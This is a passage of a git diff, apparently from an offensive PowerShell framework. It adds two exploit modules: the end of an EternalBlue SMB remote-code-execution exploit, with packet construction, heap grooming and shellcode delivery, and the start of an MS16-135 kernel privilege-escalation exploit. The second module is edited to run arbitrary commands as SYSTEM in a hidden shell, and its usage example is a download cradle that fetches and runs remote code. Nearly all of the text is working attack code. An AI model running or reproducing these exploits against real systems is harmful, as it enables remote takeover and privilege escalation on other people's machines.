$pkt += 0x00,0x00 # user_id + $pkt += 0xC5,0x5E # multiplex_id + + $pkt += 0x00 # word_count + $pkt += 0x31,0x00 # byte_count + + # Requested Dialects + $pkt += 0x02 # dialet_buffer_format + $pkt += 0x4C,0x41,0x4E,0x4D,0x41,0x4E,0x31,0x2E,0x30,0x00 # dialet_name: LANMAN1.0 + + $pkt += 0x02 # dialet_buffer_format + $pkt += 0x4C,0x4D,0x31,0x2E,0x32,0x58,0x30,0x30,0x32,0x00 # dialet_name: LM1.2X002 + + $pkt += 0x02 # dialet_buffer_format + $pkt += 0x4E,0x54,0x20,0x4C,0x41,0x4E,0x4D,0x41,0x4E,0x20,0x31,0x2E,0x30,0x00 # dialet_name3: NT LANMAN 1.0 + + $pkt += 0x02 # dialet_buffer_format + $pkt += 0x4E,0x54,0x20,0x4C,0x4D,0x20,0x30,0x2E,0x31,0x32,0x00 # dialet_name4: NT LM 0.12 + + return $pkt +} + + +function make_smb1_nt_trans_packet($tree_id, $user_id) { + + [Byte[]] $pkt = [Byte[]] (0x00) # Session message + $pkt += 0x00,0x04,0x38 # length + $pkt += 0xff,0x53,0x4D,0x42 # SMB1 + $pkt += 0xa0 # NT Trans + $pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS + $pkt += 0x18 # Flags + $pkt += 0x07,0xc0 # Flags2 + $pkt += 0x00,0x00 # PID High + $pkt += 0x00,0x00,0x00,0x00 # Signature1 + $pkt += 0x00,0x00,0x00,0x00 # Signature2 + $pkt += 0x00,0x00 # Reserved + $pkt += $tree_id # TreeID + $pkt += 0xff,0xfe # PID + $pkt += $user_id # UserID + $pkt += 0x40,0x00 # MultiplexID + + $pkt += 0x14 # Word Count + $pkt += 0x01 # Max Setup Count + $pkt += 0x00,0x00 # Reserved + $pkt += 0x1e,0x00,0x00,0x00 # Total Param Count + $pkt += 0xd0,0x03,0x01,0x00 # Total Data Count + $pkt += 0x1e,0x00,0x00,0x00 # Max Param Count + $pkt += 0x00,0x00,0x00,0x00 # Max Data Count + $pkt += 0x1e,0x00,0x00,0x00 # Param Count + $pkt += 0x4b,0x00,0x00,0x00 # Param Offset + $pkt += 0xd0,0x03,0x00,0x00 # Data Count + $pkt += 0x68,0x00,0x00,0x00 # Data Offset + $pkt += 0x01 # Setup Count + $pkt += 0x00,0x00 # Function + $pkt += 0x00,0x00 # Unknown NT transaction (0) setup + $pkt += 0xec,0x03 # Byte Count + $pkt += [Byte[]] (0x00) * 0x1f # NT Parameters + + # undocumented + $pkt += 0x01 + $pkt += [Byte[]](0x00) * 0x3cd + return $pkt + } + + function make_smb1_free_hole_session_packet($flags2, $vcnum, $native_os) { + + [Byte[]] $pkt = 0x00 # Session message + $pkt += 0x00,0x00,0x51 # length + $pkt += 0xff,0x53,0x4D,0x42 # SMB1 + $pkt += 0x73 # Session Setup AndX + $pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS + $pkt += 0x18 # Flags + $pkt += $flags2 # Flags2 + $pkt += 0x00,0x00 # PID High + $pkt += 0x00,0x00,0x00,0x00 # Signature1 + $pkt += 0x00,0x00,0x00,0x00 # Signature2 + $pkt += 0x00,0x00 # Reserved + $pkt += 0x00,0x00 # TreeID + $pkt += 0xff,0xfe # PID + $pkt += 0x00,0x00 # UserID + $pkt += 0x40,0x00 # MultiplexID + #$pkt += 0x00,0x00 # Reserved + + $pkt += 0x0c # Word Count + $pkt += 0xff # No further commands + $pkt += 0x00 # Reserved + $pkt += 0x00,0x00 # AndXOffset + $pkt += 0x04,0x11 # Max Buffer + $pkt += 0x0a,0x00 # Max Mpx Count + $pkt += $vcnum # VC Number + $pkt += 0x00,0x00,0x00,0x00 # Session key + $pkt += 0x00,0x00 # Security blob length + $pkt += 0x00,0x00,0x00,0x00 # Reserved + $pkt += 0x00,0x00,0x00,0x80 # Capabilities + $pkt += 0x16,0x00 # Byte count + #$pkt += 0xf0 # Security Blob: + #$pkt += 0xff,0x00,0x00,0x00 # Native OS + #$pkt += 0x00,0x00 # Native LAN manager + #$pkt += 0x00,0x00 # Primary domain + $pkt += $native_os + $pkt += [Byte[]] (0x00) * 17 # Extra byte params + + return $pkt + } + + function make_smb1_anonymous_login_packet { + # Neither Rex nor RubySMB appear to support Anon login? + + [Byte[]] $pkt = [Byte[]] (0x00) # Session message + $pkt += 0x00,0x00,0x88 # length + $pkt += 0xff,0x53,0x4D,0x42 # SMB1 + $pkt += 0x73 # Session Setup AndX + $pkt += 0x00,0x00,0x00,0x00 # NT SUCCESS + $pkt += 0x18 # Flags + $pkt += 0x07,0xc0 # Flags2 + $pkt += 0x00,0x00 # PID High + $pkt += 0x00,0x00,0x00,0x00 # Signature1 + $pkt += 0x00,0x00,0x00,0x00 # Signature2 + $pkt += 0x00,0x00 # TreeID + $pkt += 0xff,0xfe # PID + $pkt += 0x00,0x00 # Reserved + $pkt += 0x00,0x00 # UserID + $pkt += 0x40,0x00 # MultiplexID + + $pkt += 0x0d # Word Count + $pkt += 0xff # No further commands + $pkt += 0x00 # Reserved + $pkt += 0x88,0x00 # AndXOffset + $pkt += 0x04,0x11 # Max Buffer + $pkt += 0x0a,0x00 # Max Mpx Count + $pkt += 0x00,0x00 # VC Number + $pkt += 0x00,0x00,0x00,0x00 # Session key + $pkt += 0x01,0x00 # ANSI pw length + $pkt += 0x00,0x00 # Unicode pw length + $pkt += 0x00,0x00,0x00,0x00 # Reserved + $pkt += 0xd4,0x00,0x00,0x00 # Capabilities + $pkt += 0x4b,0x00 # Byte count + $pkt += 0x00 # ANSI pw + $pkt += 0x00,0x00 # Account name + $pkt += 0x00,0x00 # Domain name + + # Windows 2000 2195 + $pkt += 0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,0x77,0x00,0x73,0x00,0x20,0x00,0x32 + $pkt += 0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x20,0x00,0x32,0x00,0x31,0x00,0x39,0x00,0x35,0x00 + $pkt += 0x00,0x00 + + # Windows 2000 5.0 + $pkt += 0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,0x77,0x00,0x73,0x00,0x20,0x00,0x32 + $pkt += 0x00,0x30,0x00,0x30,0x00,0x30,0x00,0x20,0x00,0x35,0x00,0x2e,0x00,0x30,0x00,0x00,0x00 + + return $pkt +} + + +function tree_connect_andx_request($Target, $userid) { + + [Byte[]] $pkt = [Byte[]](0x00) #$pkt +=Message_Type' + $pkt +=0x00,0x00,0x47 #$pkt +=Length' + + + $pkt +=0xFF,0x53,0x4D,0x42 #$pkt +=server_component': .SMB + $pkt +=0x75 #$pkt +=smb_command': Tree Connect AndX + $pkt +=0x00,0x00,0x00,0x00 #$pkt +=nt_status' + $pkt +=0x18 #$pkt +=flags' + $pkt +=0x01,0x20 #$pkt +=flags2' + $pkt +=0x00,0x00 #$pkt +=process_id_high' + $pkt +=0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 #$pkt +=signature' + $pkt +=0x00,0x00 #$pkt +=reserved' + $pkt +=0x00,0x00 #$pkt +=tree_id' + $pkt +=0x2F,0x4B #$pkt +=process_id' + $pkt += $userid #$pkt +=user_id' + $pkt +=0xC5,0x5E #$pkt +=multiplex_id' + + + $ipc = "\\"+ $Target + "\IPC$" + + $pkt +=0x04 # Word Count + $pkt +=0xFF # AndXCommand: No further commands + $pkt +=0x00 # Reserved + $pkt +=0x00,0x00 # AndXOffset + $pkt +=0x00,0x00 # Flags + $pkt +=0x01,0x00 # Password Length + $pkt +=0x1A,0x00 # Byte Count + $pkt +=0x00 # Password + $pkt += [system.Text.Encoding]::ASCII.GetBytes($ipc) # \,0xxx.xxx.xxx.xxx\IPC$ + $pkt += 0x00 # null byte after ipc added by kev + + $pkt += 0x3f,0x3f,0x3f,0x3f,0x3f,0x00 # Service + + + $len = $pkt.Length - 4 + # netbios[1] =$pkt +=0x00' + struct.pack('>H length) + $hexlen = [bitconverter]::GetBytes($len)[-2..-4] + $pkt[1] = $hexlen[0] + $pkt[2] = $hexlen[1] + $pkt[3] = $hexlen[2] + return $pkt + + } + + + +function smb_header($smbheader) { + +$parsed_header =@{server_component=$smbheader[0..3]; + smb_command=$smbheader[4]; + error_class=$smbheader[5]; + reserved1=$smbheader[6]; + error_code=$smbheader[6..7]; + flags=$smbheader[8]; + flags2=$smbheader[9..10]; + process_id_high=$smbheader[11..12]; + signature=$smbheader[13..21]; + reserved2=$smbheader[22..23]; + tree_id=$smbheader[24..25]; + process_id=$smbheader[26..27]; + user_id=$smbheader[28..29]; + multiplex_id=$smbheader[30..31]; + } +return $parsed_header + +} + + + + +function smb1_get_response($sock){ + + + + $tcp_response = [Array]::CreateInstance("byte", 1024) + try{ + $sock.Receive($tcp_response)| out-null + + } + catch { + Write-Verbose "socket error, exploit may fail " + } + $netbios = $tcp_response[0..4] + $smb_header = $tcp_response[4..36] # SMB Header: 32 bytes + $parsed_header = smb_header($smb_header) + + return $tcp_response, $parsed_header + +} + + +function client_negotiate($sock){ +$raw_proto = negotiate_proto_request + $sock.Send($raw_proto) | out-null + return smb1_get_response($sock) + +} + +function smb1_anonymous_login($sock){ + $raw_proto = make_smb1_anonymous_login_packet + $sock.Send($raw_proto) | out-null + return smb1_get_response($sock) + + +} + +function tree_connect_andx($sock, $Target, $userid){ + $raw_proto = tree_connect_andx_request $Target $userid + $sock.Send($raw_proto) | out-null + return smb1_get_response($sock) + + +} + + +function smb1_anonymous_connect_ipc($Target) +{ + $client = New-Object System.Net.Sockets.TcpClient($Target,445) + + $sock = $client.Client + client_negotiate($sock) | Out-Null + + $raw, $smbheader = smb1_anonymous_login $sock + + $raw, $smbheader = tree_connect_andx $sock $Target $smbheader.user_id + + + return $smbheader, $sock + + + +} + + +function smb1_large_buffer($smbheader,$sock){ + + $nt_trans_pkt = make_smb1_nt_trans_packet $smbheader.tree_id $smbheader.user_id + + # send NT Trans + + $sock.Send($nt_trans_pkt) | out-null + + $raw, $transheader = smb1_get_response($sock) + + #initial trans2 request + $trans2_pkt_nulled = make_smb1_trans2_exploit_packet $smbheader.tree_id $smbheader.user_id "eb_trans2_zero" 0 + + #send all but the last packet + for($i =1; $i -le 14; $i++) { + $trans2_pkt_nulled += make_smb1_trans2_exploit_packet $smbheader.tree_id $smbheader.user_id "eb_trans2_buffer" $i + + } + + $trans2_pkt_nulled += make_smb1_echo_packet $smbheader.tree_id $smbheader.user_id + $sock.Send($trans2_pkt_nulled) | out-null + + smb1_get_response($sock) | Out-Null + +} + + +function smb1_free_hole($start) { + $client = New-Object System.Net.Sockets.TcpClient($Target,445) + + $sock = $client.Client + client_negotiate($sock) | Out-Null + if($start) { + $pkt = make_smb1_free_hole_session_packet (0x07,0xc0) (0x2d,0x01) (0xf0,0xff,0x00,0x00,0x00) + } + else { + $pkt = make_smb1_free_hole_session_packet (0x07,0x40) (0x2c,0x01) (0xf8,0x87,0x00,0x00,0x00) + } + + $sock.Send($pkt) | out-null + smb1_get_response($sock) | Out-Null + return $sock +} + + function smb2_grooms($Target, $grooms, $payload_hdr_pkt, $groom_socks){ + + + for($i =0; $i -lt $grooms; $i++) + { + $client = New-Object System.Net.Sockets.TcpClient($Target,445) + + $gsock = $client.Client + $groom_socks += $gsock + $gsock.Send($payload_hdr_pkt) | out-null + + } + return $groom_socks + } + + + + +function smb_eternalblue($Target, $grooms, $Shellcode) { + + + #replace null bytes with your shellcode + [Byte[]] $payload = [Byte[]]($Shellcode) + + $shellcode = make_kernel_user_payload($payload) + $payload_hdr_pkt = make_smb2_payload_headers_packet + $payload_body_pkt = make_smb2_payload_body_packet($shellcode) + + Write-Verbose "Connecting to target for activities" + $smbheader, $sock = smb1_anonymous_connect_ipc($Target) + $sock.ReceiveTimeout =2000 + Write-Verbose "Connection established for exploitation." + # Step 2: Create a large SMB1 buffer + Write-Verbose "all but last fragment of exploit packet" + smb1_large_buffer $smbheader $sock + # Step 3: Groom the pool with payload packets, and open/close SMB1 packets + + # initialize_groom_threads(ip, port, payload, grooms) + $fhs_sock = smb1_free_hole $true + $groom_socks =@() + $groom_socks = smb2_grooms $Target $grooms $payload_hdr_pkt $groom_socks + + $fhf_sock = smb1_free_hole $false + + $fhs_sock.Close() | Out-Null + + $groom_socks = smb2_grooms $Target 6 $payload_hdr_pkt $groom_socks + + $fhf_sock.Close() | out-null + + Write-Verbose "Running final exploit packet" + + $final_exploit_pkt = $trans2_pkt_nulled = make_smb1_trans2_exploit_packet $smbheader.tree_id $smbheader.user_id "eb_trans2_exploit" 15 + + try{ + $sock.Send($final_exploit_pkt) | Out-Null + $raw, $exploit_smb_header = smb1_get_response $sock + Write-Verbose ("SMB code: " + [System.BitConverter]::ToString($exploit_smb_header.error_code)) + + } + catch { + Write-Verbose "socket error, exploit may fail horribly" + } + + + Write-Verbose "Send the payload with the grooms" + + foreach ($gsock in $groom_socks) + { + $gsock.Send($payload_body_pkt[0..2919]) | out-null + } + foreach ($gsock in $groom_socks) + { + $gsock.Send($payload_body_pkt[2920..4072]) | out-null + } + foreach ($gsock in $groom_socks) + { + $gsock.Close() | out-null + } + + $sock.Close()| out-null + } + + + + +$VerbosePreference = "continue" +for ($i=0; $i -lt $MaxAttempts; $i++) { + $grooms = $InitialGrooms + $GROOM_DELTA*$i + smb_eternalblue $Target $grooms $Shellcode +} + + +} \ No newline at end of file diff --git a/data/module_source/privesc/Invoke-MS16135.ps1 b/data/module_source/privesc/Invoke-MS16135.ps1 new file mode 100644 index 0000000..d54eff0 --- /dev/null +++ b/data/module_source/privesc/Invoke-MS16135.ps1 @@ -0,0 +1,986 @@ +function Invoke-MS16135 { +<# + .SYNOPSIS + + PowerShell implementation of MS16-135 (CVE-2016-7255). + Discovered by Neel Mehta and Billy Leonard of Google Threat Analysis Group Feike Hacquebord, Peter Pi and Brooks Li of Trend Micro + Credit for the original PoC : TinySec (@TinySecEx) + Credit for the Powershell implementation : Ruben Boonen (@FuzzySec) + + Targets: + + * Win7-Win10 (x64 only) + + Successfully tested on : + + * Win7 x64 + * Win8.1 x64 + * Win10 x64 + * Win2k12 R2 x64 + + .DESCRIPTION + + Author: Ruben Boonen (@FuzzySec) + Blog: http://www.fuzzysecurity.com/ + License: BSD 3-Clause + Required Dependencies: PowerShell v2+ + Optional Dependencies: None + + EDIT: This script has been edited to include a parameter for custom commands and + also hides the spawned shell. Many comments have also been removed and echo has + moved to Write-Verbose. The original can be found at: + https://github.com/FuzzySecurity/PSKernel-Primitives/blob/master/Sample-Exploits/MS16-135/MS16-135.ps1 + + .EXAMPLE + + C:\PS> Invoke-MS16135 -Command "iex(New-Object Net.WebClient).DownloadString('http://google.com')" + + Description + ----------- + Will run the iex download cradle as SYSTEM + +#> + [CmdletBinding()] + param( + + [Parameter(Position=0,Mandatory=$True)] + [String] + $Command + ) + + Add-Type -TypeDefinition @" + using System; + using System.Diagnostics; + using System.Runtime.InteropServices; + using System.Security.Principal; + + [StructLayout(LayoutKind.Sequential)] + public struct PROCESS_INFORMATION + { + public IntPtr hProcess; + public IntPtr hThread; + public int dwProcessId; + public int dwThreadId; + } + + [StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)] + public struct STARTUPINFO + { + public Int32 cb; + public string lpReserved; + public string lpDesktop; + public string lpTitle; + public Int32 dwX; + public Int32 dwY; + public Int32 dwXSize; + public Int32 dwYSize; + public Int32 dwXCountChars; + public Int32 dwYCountChars; + public Int32 dwFillAttribute; + public Int32 dwFlags; + public Int16 wShowWindow; + public Int16 cbReserved2; + public IntPtr lpReserved2; + public IntPtr hStdInput; + public IntPtr hStdOutput; + public IntPtr hStdError; + } + + [StructLayout(LayoutKind.Sequential)] + public struct SQOS + { + public int Length; + public int ImpersonationLevel; + public int ContextTrackingMode; + public bool EffectiveOnly; + } + + public static class Advapi32 + { + [DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)] + public static extern bool CreateProcessWithLogonW( + String userName, + String domain, + String password, + int logonFlags, + String applicationName, + String commandLine, + int creationFlags, + int environment, + String currentDirectory, + ref STARTUPINFO startupInfo, + out PROCESS_INFORMATION processInformation); + + [DllImport("advapi32.dll", SetLastError=true)] + public static extern bool SetThreadToken( + ref IntPtr Thread, + IntPtr Token); + + [DllImport("advapi32.dll", SetLastError=true)] + public static extern bool OpenThreadToken( + IntPtr ThreadHandle, + int DesiredAccess, + bool OpenAsSelf, + out IntPtr TokenHandle); + + [DllImport("advapi32.dll", SetLastError=true)] + public static extern bool OpenProcessToken( + IntPtr ProcessHandle, + int DesiredAccess, + ref IntPtr TokenHandle); + + [DllImport("advapi32.dll", SetLastError=true)] + public extern static bool DuplicateToken( + IntPtr ExistingTokenHandle, + int SECURITY_IMPERSONATION_LEVEL, + ref IntPtr DuplicateTokenHandle); + } + + public static class Kernel32 + { + [DllImport("kernel32.dll")] + public static extern uint GetLastError(); + + [DllImport("kernel32.dll", SetLastError=true)] + public static extern IntPtr GetCurrentProcess(); + + [DllImport("kernel32.dll", SetLastError=true)] + public static extern IntPtr GetCurrentThread(); + + [DllImport("kernel32.dll", SetLastError=true)] + public static extern int GetThreadId(IntPtr hThread); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern int GetProcessIdOfThread(IntPtr handle); + + [DllImport("kernel32.dll",SetLastError=true)] + public static extern int SuspendThread(IntPtr hThread); + + [DllImport("kernel32.dll",SetLastError=true)] + public static extern int ResumeThread(IntPtr hThread); + + [DllImport("kernel32.dll", SetLastError=true)] + public static extern bool TerminateProcess( + IntPtr hProcess, + uint uExitCode); + + [DllImport("kernel32.dll", SetLastError=true)] + public static extern bool CloseHandle(IntPtr hObject); + + [DllImport("kernel32.dll", SetLastError=true)] + public static extern bool DuplicateHandle( + IntPtr hSourceProcessHandle, + IntPtr hSourceHandle, + IntPtr hTargetProcessHandle, + ref IntPtr lpTargetHandle, + int dwDesiredAccess, + bool bInheritHandle, + int dwOptions); + } + + + [StructLayout(LayoutKind.Sequential)] + public struct INPUT + { + public int itype; + public KEYBDINPUT U; + public int Size; + } + + [StructLayout(LayoutKind.Sequential)] + public struct KEYBDINPUT + { + public UInt16 wVk; + public UInt16 wScan; + public uint dwFlags; + public int time; + public IntPtr dwExtraInfo; + } + + [StructLayout(LayoutKind.Sequential)] + public struct tagMSG + { + public IntPtr hwnd; + public UInt32 message; + public UIntPtr wParam; + public UIntPtr lParam; + public UInt32 time; + public POINT pt; + } + + public struct POINT + { + public Int32 x; + public Int32 Y; + } + + public class ms16135 + { + delegate IntPtr WndProc( + IntPtr hWnd, + uint msg, + IntPtr wParam, + IntPtr lParam); + + [System.Runtime.InteropServices.StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)] + struct WNDCLASSEX + { + public uint cbSize; + public uint style; + public IntPtr lpfnWndProc; + public int cbClsExtra; + public int cbWndExtra; + public IntPtr hInstance; + public IntPtr hIcon; + public IntPtr hCursor; + public IntPtr hbrBackground; + [MarshalAs(UnmanagedType.LPWStr)] + public string lpszMenuName; + [MarshalAs(UnmanagedType.LPWStr)] + public string lpszClassName; + public IntPtr hIconSm; + } + + [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)] + static extern System.UInt16 RegisterClassW( + [System.Runtime.InteropServices.In] ref WNDCLASSEX lpWndClass); + + [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)] + public static extern IntPtr CreateWindowExW( + UInt32 dwExStyle, + [MarshalAs(UnmanagedType.LPWStr)] + string lpClassName, + [MarshalAs(UnmanagedType.LPWStr)] + string lpWindowName, + UInt32 dwStyle, + Int32 x, + Int32 y, + Int32 nWidth, + Int32 nHeight, + IntPtr hWndParent, + IntPtr hMenu, + IntPtr hInstance, + IntPtr lpParam); + + [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)] + static extern System.IntPtr DefWindowProcW( + IntPtr hWnd, + uint msg, + IntPtr wParam, + IntPtr lParam); + + [System.Runtime.InteropServices.DllImport("user32.dll", SetLastError = true)] + public static extern bool DestroyWindow( + IntPtr hWnd); + + [DllImport("user32.dll", SetLastError = true)] + public static extern bool UnregisterClass( + String lpClassName, + IntPtr hInstance); + + [System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr GetModuleHandleW( + [MarshalAs(UnmanagedType.LPWStr)] + String lpModuleName); + + [DllImport("user32.dll", EntryPoint="SetWindowLongPtr")] + public static extern IntPtr SetWindowLongPtr( + IntPtr hWnd, + int nIndex, + IntPtr dwNewLong); + + [DllImport("user32.dll")] + public static extern bool ShowWindow( + IntPtr hWnd, + int nCmdShow); + + [DllImport("user32.dll", SetLastError = true)] + public static extern IntPtr SetParent( + IntPtr hWndChild, + IntPtr hWndNewParent); + + [DllImport("user32.dll", SetLastError = false)] + public static extern IntPtr GetDesktopWindow(); + + [DllImport("user32.dll")] + public static extern bool SetForegroundWindow( + IntPtr hWnd); + + [DllImport("user32.dll", SetLastError=true)] + public static extern void SwitchToThisWindow( + IntPtr hWnd, + bool fAltTab); + + [DllImport("user32.dll")] + public static extern bool GetMessage( + out tagMSG lpMsg, + IntPtr hWnd, + uint wMsgFilterMin, + uint wMsgFilterMax); + + [DllImport("user32.dll")] + public static extern bool TranslateMessage( + [In] ref tagMSG lpMsg); + + [DllImport("user32.dll")] + public static extern IntPtr DispatchMessage( + [In] ref tagMSG lpmsg); + + [DllImport("user32.dll", SetLastError = true)] + public static extern IntPtr SetFocus( + IntPtr hWnd); + + [DllImport("user32.dll")] + public static extern uint SendInput( + uint nInputs, + [In] INPUT pInputs, + int cbSize); + + [DllImport("gdi32.dll")] + public static extern int GetBitmapBits( + IntPtr hbmp, + int cbBuffer, + IntPtr lpvBits); + + [DllImport("gdi32.dll")] + public static extern int SetBitmapBits( + IntPtr hbmp, + int cbBytes, + IntPtr lpBits); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern IntPtr VirtualAlloc( + IntPtr lpAddress, + uint dwSize, + UInt32 flAllocationType, + UInt32 flProtect); + + public UInt16 CustomClass(string class_name) + { + m_wnd_proc_delegate = CustomWndProc; + WNDCLASSEX wind_class = new WNDCLASSEX(); + wind_class.lpszClassName = class_name; + ///wind_class.cbSize = (uint)Marshal.SizeOf(wind_class); + wind_class.lpfnWndProc = System.Runtime.InteropServices.Marshal.GetFunctionPointerForDelegate(m_wnd_proc_delegate); + return RegisterClassW(ref wind_class); + } + + private static IntPtr CustomWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam) + { + return DefWindowProcW(hWnd, msg, wParam, lParam); + } + + private WndProc m_wnd_proc_delegate; + } +"@ + +#==============================================================[Banner] + $ms16135 = @" + _____ _____ ___ ___ ___ ___ ___ + | | __|_ | | _|___|_ | |_ | _| + | | | |__ |_| |_| . |___|_| |_|_ |_ | + |_|_|_|_____|_____|___| |_____|___|___| + + [by b33f -> @FuzzySec] + +"@ + $ms16135 + + if ([System.IntPtr]::Size -ne 8) { + "`n[!] Target architecture is x64 only!`n" + Return + } + + $OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version + $Script:OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)" + switch ($OSMajorMinor) + { + '10.0' # Win10 / 2k16 + { + Write-Verbose "[?] Target is Win 10" + Write-Verbose "[+] Bitmap dimensions: 0x760*0x4`n" + } + + '6.3' # Win8.1 / 2k12R2 + { + Write-Verbose "[?] Target is Win 8.1" + Write-Verbose "[+] Bitmap dimensions: 0x760*0x4`n" + } + + '6.2' # Win8 / 2k12 + { + Write-Verbose "[?] Target is Win 8" + Write-Verbose "[+] Bitmap dimensions: 0x760*0x4`n" + } + + '6.1' # Win7 / 2k8R2 + { + Write-Verbose "[?] Target is Win 7" + Write-Verbose "[+] Bitmap dimensions: 0x770*0x4`n" + } + } + + function Get-LoadedModules { + + Add-Type -TypeDefinition @" + using System; + using System.Diagnostics; + using System.Runtime.InteropServices; + using System.Security.Principal; + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + public struct SYSTEM_MODULE_INFORMATION + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)] + public UIntPtr[] Reserved; + public IntPtr ImageBase; + public UInt32 ImageSize; + public UInt32 Flags; + public UInt16 LoadOrderIndex; + public UInt16 InitOrderIndex; + public UInt16 LoadCount; + public UInt16 ModuleNameOffset; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)] + internal Char[] _ImageName; + public String ImageName { + get { + return new String(_ImageName).Split(new Char[] {'\0'}, 2)[0]; + } + } + } + + public static class Ntdll + { + [DllImport("ntdll.dll")] + public static extern int NtQuerySystemInformation( + int SystemInformationClass, + IntPtr SystemInformation, + int SystemInformationLength, + ref int ReturnLength); + } +"@ + + [int]$BuffPtr_Size = 0 + while ($true) { + [IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size) + $SystemInformationLength = New-Object Int + + $CallResult = [Ntdll]::NtQuerySystemInformation(11, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength) + + if ($CallResult -eq 0xC0000004) { + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr) + [int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength) + } + elseif ($CallResult -eq 0x00000000) { + break + } + else { + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr) + return + } + } + + $SYSTEM_MODULE_INFORMATION = New-Object SYSTEM_MODULE_INFORMATION + $SYSTEM_MODULE_INFORMATION = $SYSTEM_MODULE_INFORMATION.GetType() + if ([System.IntPtr]::Size -eq 4) { + $SYSTEM_MODULE_INFORMATION_Size = 284 + } else { + $SYSTEM_MODULE_INFORMATION_Size = 296 + } + + $BuffOffset = $BuffPtr.ToInt64() + $HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset) + $BuffOffset = $BuffOffset + [System.IntPtr]::Size + + $SystemModuleArray = @() + for ($i=0; $i -lt $HandleCount; $i++){ + $SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset + $Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_MODULE_INFORMATION) + + $HashTable = @{ + ImageName = $Cast.ImageName + ImageBase = if ([System.IntPtr]::Size -eq 4) {$($Cast.ImageBase).ToInt32()} else {$($Cast.ImageBase).ToInt64()} + ImageSize = "0x$('{0:X}' -f $Cast.ImageSize)" + } + + $Object = New-Object PSObject -Property $HashTable + $SystemModuleArray += $Object + + $BuffOffset = $BuffOffset + $SYSTEM_MODULE_INFORMATION_Size + } + + $SystemModuleArray + + # Free SystemModuleInformation array + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr) + } + + function Stage-gSharedInfoBitmap { + + Add-Type -TypeDefinition @" + using System; + using System.Diagnostics; + using System.Runtime.InteropServices; + using System.Security.Principal; + + public static class gSharedInfoBitmap + { + [DllImport("gdi32.dll")] + public static extern IntPtr CreateBitmap( + int nWidth, + int nHeight, + uint cPlanes, + uint cBitsPerPel, + IntPtr lpvBits); + + [DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)] + public static extern IntPtr LoadLibrary( + string lpFileName); + + [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)] + public static extern IntPtr GetProcAddress( + IntPtr hModule, + string procName); + + [DllImport("user32.dll")] + public static extern IntPtr CreateAcceleratorTable( + IntPtr lpaccl, + int cEntries); + + [DllImport("user32.dll")] + public static extern bool DestroyAcceleratorTable( + IntPtr hAccel); + } +"@ + + if ([System.IntPtr]::Size -eq 4) { + $x32 = 1 + } + + function Create-AcceleratorTable { + [IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(10000) + $AccelHandle = [gSharedInfoBitmap]::CreateAcceleratorTable($Buffer, 700) # +4 kb size + $User32Hanle = [gSharedInfoBitmap]::LoadLibrary("user32.dll") + $gSharedInfo = [gSharedInfoBitmap]::GetProcAddress($User32Hanle, "gSharedInfo") + if ($x32){ + $gSharedInfo = $gSharedInfo.ToInt32() + } else { + $gSharedInfo = $gSharedInfo.ToInt64() + } + $aheList = $gSharedInfo + [System.IntPtr]::Size + if ($x32){ + $aheList = [System.Runtime.InteropServices.Marshal]::ReadInt32($aheList) + $HandleEntry = $aheList + ([int]$AccelHandle -band 0xffff)*0xc # _HANDLEENTRY.Size = 0xC + $phead = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleEntry) + } else { + $aheList = [System.Runtime.InteropServices.Marshal]::ReadInt64($aheList) + $HandleEntry = $aheList + ([int]$AccelHandle -band 0xffff)*0x18 # _HANDLEENTRY.Size = 0x18 + $phead = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleEntry) + } + + $Result = @() + $HashTable = @{ + Handle = $AccelHandle + KernelObj = $phead + } + $Object = New-Object PSObject -Property $HashTable + $Result += $Object + $Result + } + + function Destroy-AcceleratorTable { + param ($Hanlde) + $CallResult = [gSharedInfoBitmap]::DestroyAcceleratorTable($Hanlde) + } + + $KernelArray = @() + for ($i=0;$i -lt 20;$i++) { + $KernelArray += Create-AcceleratorTable + if ($KernelArray.Length -gt 1) { + if ($KernelArray[$i].KernelObj -eq $KernelArray[$i-1].KernelObj) { + Destroy-AcceleratorTable -Hanlde $KernelArray[$i].Handle + [IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x50*2*4) + if ($OSMajorMinor -eq "6.1") { + $BitmapHandle = [gSharedInfoBitmap]::CreateBitmap(0x770, 4, 1, 8, $Buffer) # Win7 + } else { + $BitmapHandle = [gSharedInfoBitmap]::CreateBitmap(0x760, 4, 1, 8, $Buffer) # Win8-10 + } + break + } + } + Destroy-AcceleratorTable -Hanlde $KernelArray[$i].Handle + } + + 